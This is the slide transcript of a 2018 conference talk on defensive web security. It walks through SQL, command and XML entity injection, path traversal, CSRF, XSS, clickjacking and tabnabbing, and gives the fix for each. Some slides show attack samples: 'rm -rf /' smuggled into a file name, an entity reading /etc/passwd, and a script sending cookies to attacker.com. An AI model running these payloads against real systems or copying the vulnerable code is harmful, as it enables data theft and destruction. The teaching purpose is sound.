Vorausschauende Sicherheits-Architektur

Vorausschauende Sicherheits-Architektur

Eine Web Seite sicher und frei von Sicherheitslücken zu halten ist harte Arbeit, unabhängig davon ob man sich informiert und z.B. die OWASP Top 10 kennt. In diesem Vortrag werden Tools und Best Practices vorgestellt, die helfen, Sicherheitsprobleme vor einem Angreifer zu entdecken und sogar von vorneherein zu vermeiden.

Ded87c77266697ee6981c2277bb97633?s=128

Bastian Hofmann

May 05, 2018
Tweet

Transcript

  1. @BastianHofmann Proactive Web Security Bastian Hofmann

  2. Thinking about Security is important

  3. • 2013/14 • 3 billion user accounts

  4. • 2016 • 145 million user accounts

  5. • 2016 • 412 million user accounts

  6. • 2017 • Personal Information of
 143 million consumers

  7. • 2011 • 77 million user accounts
 $171 million loss

  8. Everyone is a target for attackers

  9. So let’s think about the harmful things a hacker can

    do
  10. And what we can do to prevent them

  11. Disclaimer

  12. None of these lists are ever complete

  13. Stay up-to-date

  14. None
  15. Try to get access to the database

  16. $ mongo yoursite.com

  17. Use authentication and TLS

  18. Do not expose your databases to the internet

  19. “There are nearly 30,000 [MongoDB] instances on the Internet that

    don't have any authorization enabled” https://blog.shodan.io/its-the-data-stupid/
  20. Scan your public IPs for open ports

  21. nmap

  22. $ nmap scanme.nmap.org Starting Nmap 7.60 … Not shown: 994

    closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 135/tcp filtered msrpc 139/tcp filtered netbios-ssn 445/tcp filtered microsoft-ds 9929/tcp open nping-echo
  23. $ nmap www.researchgate.net Starting Nmap 7.60 … PORT STATE SERVICE

    80/tcp open http 443/tcp open https
  24. These are still two open ports

  25. Attack vector

  26. Bugs in your software

  27. Injections

  28. SQL Injection

  29. <?php $userId = $_GET[‘userId’]; $sql = ‘SELECT * FROM users

    WHERE id =‘ . $userId; $mysqli->query($sql);
  30. <?php // 12 OR TRUE $userId = $_GET[‘userId’]; $sql =

    ‘SELECT * FROM users WHERE id =‘ . $userId; $mysqli->query($sql);
  31. Escape

  32. <?php $name = $_GET[‘name’]; $name = $mysqli->real_escape_string($name); $sql = ‘SELECT

    * FROM users WHERE name = ’ . $name; $mysqli->query($sql);
  33. Use an ORM

  34. http://www.doctrine- project.org/projects/ orm.html

  35. <?php $userId = (int) $_GET[‘userId’]; $user = $entityManager->find( ‘User’, $userId

    );
  36. Use prepared statements

  37. <?php $userId = (int) $_GET[‘userId’]; $rsm = new ResultSetMapping(); $query

    = $entityManager->createNativeQuery( 'SELECT * FROM users WHERE userId = ?', $rsm ); $query->setParameter(1, $userId); $users = $query->getResult();
  38. There are more types of injections

  39. Injection in HTTP requests

  40. <?php $client = new \GuzzleHttp\Client(); $res = $client->request( 'GET', 'https://api.com/path/?id='

    . $_GET[‘id'] );
  41. <?php $client = new \GuzzleHttp\Client(); $res = $client->request( 'GET', //

    6&admin=true 'https://api.com/path/?id=' . $_GET[‘id'] );
  42. Always escape

  43. <?php $client = new \GuzzleHttp\Client(); $res = $client->request( 'GET', 'https://api.com/path/?id='

    . urlencode($_GET[‘id’]) );
  44. Use sensible libraries

  45. <?php $client = new \GuzzleHttp\Client(); $res = $client->request( 'GET', 'https://api.com/path/',

    ['query' => ['id' => $_GET['id']]] );
  46. Command injection

  47. <?php $logFile = $_GET['logFile']; passthru( 'cat ' . __DIR__ .

    '/' . $logFile );
  48. <?php // foo.log && rm -rf / $logFile = $_GET['logFile'];

    passthru( 'cat ' . __DIR__ . '/' . $logFile );
  49. Always escape

  50. <?php $logFile = $_GET['logFile']; passthru( 'cat ' . escapeshellarg( __DIR__

    . '/' . $logFile ) );
  51. Path traversals

  52. <?php // ../../../etc/passwd $logFile = $_GET['logFile']; passthru( 'cat ' .

    escapeshellarg( __DIR__ . '/' . $logFile ) );
  53. Validation

  54. <?php $logFile = $_GET['logFile']; if (!preg_match('/^[a-z]+\.log$/', $logFile) { throw new

    \Exception('Invalid file name'); } passthru( 'cat ' . escapeshellarg( __DIR__ . '/' . $logFile ) );
  55. <?php $logFile = $_GET['logFile']; $file = realpath(__DIR__ . '/' .

    $logFile); if (dirname($file) !== __DIR__) { throw \Exception('Invalid file'); } passthru( 'cat ' . escapeshellarg( $file ) );
  56. Code injection

  57. <?php $myvar = "varname"; $x = $_GET['arg']; eval("\$myvar = \$x;");

  58. Do not use eval or create_function

  59. XML Entity Injection

  60. <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY >

    <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
  61. Disable entity loading

  62. <?php // set this very early in your request libxml_disable_entity_loader(true);

  63. Only enable it, if you really need it

  64. Trusted SOAP APIs over TLS

  65. <?php function dangerouslyEnableXmlEntityLoader( callable $f ) { try { libxml_disable_entity_loader(false);

    return $f(); } finally { libxml_disable_entity_loader(true); } }
  66. Use static code analysis, e.g. with PHP_CodeSniffer

  67. If the attacker can’t find any injection vulnerabilities

  68. Trying to find bugs in libraries you use

  69. Keep things up to date

  70. Check for known security vulnerabilities

  71. None
  72. https://github.com/ sensiolabs/security- checker

  73. $ php security-checker security:check ./composer.lock Symfony Security Check Report =============================

    [OK] No packages have known vulnerabilities.
  74. None
  75. https://github.com/ nodesecurity/nsp

  76. $ nsp check --reporter summary (+) No known vulnerabilities found

  77. Trying to find bugs in your infrastructure

  78. Web-Server

  79. PHP

  80. OS

  81. Keep things up to date

  82. Scan for known vulnerabilities

  83. https://github.com/ future-architect/vuls

  84. localhost (centos7.3.1611) ========================== Total: 109 (High:35 Medium:55 Low:16 ?:3) 31

    updatable packages CVE-2015-2806 10.0 HIGH (nvd) Stack-based buffer overflow in asn1_der_decoding in libtasn1 before 4.4 allows remote attackers to have unspecified impact via unknown vectors.
  85. If there are no vulnerabilities so far

  86. Try to take over accounts

  87. Man-in-the-middle attacks

  88. HTTP is plain text

  89. Very easy to read and modify on the wire

  90. Public WiFis

  91. $ sudo tcpdump -v port 80

  92. $ curl http://google.com

  93. 14:06:40.337900 IP6 (flowlabel 0xbb911, hlim 57, next- header TCP (6)

    payload length: 549) muc11s14-in-x0e. 1e100.net.http > 2a02:8109:9880:2e9c:94b4:a371:f1b3:b82b. 60808: Flags [P.], cksum 0x4ae9 (correct), seq 1:518, ack 75, win 106, options [nop,nop,TS val 2632812618 ecr 335746159], length 517: HTTP, length: 517 HTTP/1.1 302 Found Cache-Control: private Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Location: http://www.google.de/? gfe_rd=cr&dcr=0&ei=4LJYWo6FFKiF8Qe9w63gAQ Content-Length: 268 Date: Fri, 12 Jan 2018 13:06:40 GMT
  94. Encrypt the traffic

  95. TLS

  96. But “TLS is slow and expensive”

  97. https://letsencrypt.org/

  98. https://istlsfastyet.com/

  99. Check config

  100. https:// www.ssllabs.com/ ssltest

  101. None
  102. What happens when you enter a URL into the address

    bar?
  103. None
  104. $ curl -I http://www.researchgate.net HTTP/1.1 301 Moved Permanently Content-Length: 178

    Content-Type: text/html Date: Fri, 12 Jan 2018 13:02:35 GMT Location: https://www.researchgate.net/ Server: nginx Connection: keep-alive
  105. Man-in-the-Middle Attack on initial redirect

  106. Strict-Transport-Security https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/S

  107. strict-transport-security: max-age=15552000; includeSubDomains; preload

  108. chrome://net-internals/ #hsts

  109. Man-in-the-Middle Attack on the very first time the user visits

    a site
  110. Browser Preloads

  111. strict-transport-security: max-age=15552000; includeSubDomains; preload

  112. https://hstspreload.org/

  113. So no man-in-the middle

  114. Brute force to guess the session id

  115. Session ID should be long enough

  116. https://secure.php.net/ manual/en/ session.configuration.p hp#ini.session.hash- function

  117. Brute force to guess the password

  118. Ratelimits

  119. Captchas

  120. None
  121. Log logins

  122. Remote logout

  123. None
  124. Alert user of logins on a new device

  125. None
  126. Two-Factor-Authentication

  127. “Less then 10 percent of all google users use Two-Factor-

    Authentication” http://uk.pcmag.com/news/92919/most-google-accounts-dont-use-two-factor- authentication
  128. E-Mail only logins

  129. None
  130. None
  131. None
  132. None
  133. None
  134. Works great on mobile where entering a password is tedious

  135. Getting into the accounts directly is not possible or very

    expensive
  136. Doing actions on the user’s behalf without direct account takeover

  137. Cross Site Request Forgery

  138. http://site.com/ deleteCurrentAccount

  139. Session cookie is necessary for the request to work

  140. On the site of an attacker

  141. <img src=“http://site.com/deleteCurrentAccount" />

  142. The browser automatically adds the session cookie when the image

    is fetched
  143. Or an email with “Hey click on http://bit.ly/2n1b42n to win”

  144. Don’t support GET requests for writing operations

  145. Though that does not help

  146. On the site of an attacker

  147. <form method="POST" id="form" action="http://site.com/deleteCurrentAccount"> </form> <script> document.getElementById("form") .submit() </script>

  148. CSRF tokens

  149. Create token that has the Session ID cookie value encrypted

  150. <?php $plaintext = $sessionId . '/' . $userId . '/'

    . time(); $nonce = random_bytes(SODIUM_CRYPTO_SECRETBOX_NONCEBYTES); $token = base64_encode($nonce . sodium_crypto_secretbox($plaintext, $nonce, $key));
  151. Add this token to every non GET request

  152. <form method="POST" id="form" action=“http://site.com/deleteCurrentAccount"> <input type="hidden" name="csrf_token" value="<?php echo $token

    ?>" /> </form>
  153. Same for XHR requests

  154. Verify that the content of the token matches the session

    from the cookie
  155. <?php $token = $_POST['csrf_token']; $nonce = substr( $token, 0, SODIUM_CRYPTO_SECRETBOX_NONCEBYTES

    ); $crypt = substr( $token, SODIUM_CRYPTO_SECRETBOX_NONCEBYTES ); $plaintext = sodium_crypto_secretbox_open($crypt, $nonce, $key); [$sessionId, $userId, $time] = explode('/', $plaintext); // …
  156. if ( $sessionId !== session_id() || $userId !== $_SESSION['userId'] ||

    time() - $time > 7200 ) { throw \Exception('Invalid csrf token'); }
  157. Because of the Cross Origin Policy an attacker can not

    get hold of a matching CSRF token
  158. Libraries / Frameworks

  159. https://symfony.com/ doc/current/security/ csrf.html

  160. Same Site Cookies

  161. Browser only sends cookie in a “first-party-context”

  162. http:// www.sjoerdlangkemper. nl/2016/04/14/ preventing-csrf-with- samesite-cookie- attribute/

  163. Set-Cookie: sessionid=...; Secure; HttpOnly; SameSite=strict

  164. https://wiki.php.net/rfc/ same-site-cookie

  165. https://caniuse.com/ #feat=same-site-cookie- attribute

  166. None
  167. But there are other ways to do something on behalf

    of the user
  168. XSS Injection

  169. <html> <body> <div> User generated comment that comes from database

    </div> </body> </html>
  170. <html> <body> <div> <?php echo $comment; ?> </div> </body> </html>

  171. <html> <body> <div> User generated comment <script> fetch( 'http://attacker.com/?cookies=' +

    document.cookie ) </script> that comes from database </div> </body> </html>
  172. Escape content

  173. <html> <body> <div> <?php echo htmlspecialchars($comment); ?> </div> </body> </html>

  174. Template libraries

  175. https:// twig.symfony.com/

  176. {% autoescape "html" %} <html> <body> <div> {{ comment }}

    </div> </body> </html> {% endautoescape %}
  177. https:// mustache.github.io/

  178. <html> <body> <div> {{comment}} </div> </body> </html>

  179. Frontend frameworks

  180. https://reactjs.org/

  181. What if you want to allow certain HTML tags

  182. Formatting, Links, Paragraphes, …

  183. HTML Purifier

  184. http://htmlpurifier.org/

  185. $config = HTMLPurifier_Config::createDefault(); $purifier = new HTMLPurifier($config); $cleanHtml = $purifier->purify($dirtyHtml);

  186. It’s easy to make errors

  187. Try to limit the impact

  188. HTTPS only Cookies

  189. Set-Cookie: sessionid=...; Secure; HttpOnly

  190. $expire = 0; $path = ''; $domain = ''; $secure

    = true; $httpOnly = true; setcookie( 'sessionId', '...', $expire, $path, $domain, $secure, $httpOnly );
  191. Content Security Policy

  192. https:// developer.mozilla.org/ en-US/docs/Web/HTTP/ CSP

  193. Content-Security-Policy: default-src 'none'; script-src 'self'; connect-src 'self'; img-src 'self'; style-src

    'self';
  194. None
  195. Reporting

  196. Content-Security-Policy: default-src … report-uri / csp_errors;

  197. Do not allow inline script tags

  198. But if you must

  199. CSP Nonces

  200. Content-Security-Policy: script-src 'nonce-2726c7f26c'

  201. <script nonce="2726c7f26c">...</script>

  202. No XSS vulnerabilities

  203. Trying to trick user into providing sensitive information

  204. Phishing

  205. Mostly hard to prevent because it is out of your

    control
  206. But some attack vectors are preventable

  207. Clickjacking

  208. None
  209. None
  210. <html> <body> <iframe src="https://www.researchgate.net/login"> </iframe> <script> ... </script> </body> </html>

  211. No direct access to page in IFRAME possible

  212. Invisible input boxes overlaying the IFRAME
 to capture input

  213. Forbid displaying your page in an IFRAME

  214. X-Frame-Options: SAMEORIGIN

  215. Tabnabbing

  216. <a href="http://external.page" target="_blank"> Link </a>

  217. Common for linking URLs in user provided content

  218. In the opened window

  219. <script> if (window.opener) { opener.location = 'http://phishing-site.com'; } </script>

  220. Prevention

  221. <a href="http://external.page" target="_blank" rel="noopener"> Link </a>

  222. https:// mathiasbynens.github.i o/rel-noopener/

  223. So that was a lot of information

  224. Let’s sum it up

  225. The internet is a scary place

  226. If you have users you’re a target

  227. Stay alert

  228. Invest into good security practices

  229. There is always more

  230. Stay up to date

  231. http://speakerdeck.com/ u/bastianhofmann

  232. mail@bastianhofmann.de https://twitter.com/BastianHofmann

  233. Resources • https://www.owasp.org • https://twitter.com/miss_jwo/status/957555207868690434

  234. Backup slides

  235. Speaking of URL’s in user generated content

  236. Spot the difference

  237. researchgate.net/login rеsearchgate.net/login

  238. researchgate.net/login rеsearchgate.net/login This is a cyrillic “e”

  239. International domain names

  240. https://en.wikipedia.org/ wiki/ IDN_homograph_attack

  241. Warn the user before browsing to a IDN URL

  242. None
  243. Warn on misspellings

  244. reserchgate.net/login

  245. researchgate.tv/login

  246. researchgate.education/login

  247. researchgate.attacker.com/login

  248. Follow redirects

  249. http://bit.ly/1bdDlXc

  250. None
  251. Still HTML/XSS injection vulnerabilities are bad

  252. Try to detect them

  253. In your template library

  254. https:// mustache.github.io/

  255. Every time something gets escaped, also replace “e” with an

    escape sequence
  256. Before returning the resulting HTML

  257. Check if there are any “e” characters left

  258. If yes, log this as a potential XSS vulnerability

  259. Replace the escape sequence back to “e”

  260. <div class="some-name"> {{firstName}} {{{lastName}}} </div>

  261. firstName: Peter lastName: Parker

  262. <div class="som___101___-nam___101___"> P___101___t___101___r Parker </div>

  263. <div class="som___101___-nam___101___"> P___101___t___101___r Parker </div>

  264. Self XSS

  265. “Hey open the developer tools and paste this code there

    to get special features”
  266. Add console warning

  267. None
  268. <script> if ( typeof console === 'object' && console.log )

    { console.log( '%cWARNING!', 'color:white; background:red;' ); ... } </script>
  269. Check for internal IPs

  270. None
  271. With everything you do

  272. Log and monitor sensitive operations

  273. Alerts on suspicious behaviour

  274. Web Application Firewalls

  275. Ability to quickly block traffic patterns

  276. Linking URLs in user generated content

  277. Information disclosure through Referrer

  278. https:// developer.mozilla.org/ en-US/docs/Web/HTTP/ Headers/Referer

  279. Referrer Policy

  280. Referrer-Policy: origin-when-cross-origin

  281. https:// developer.mozilla.org/ en-US/docs/Web/HTTP/ Headers/Referrer-Policy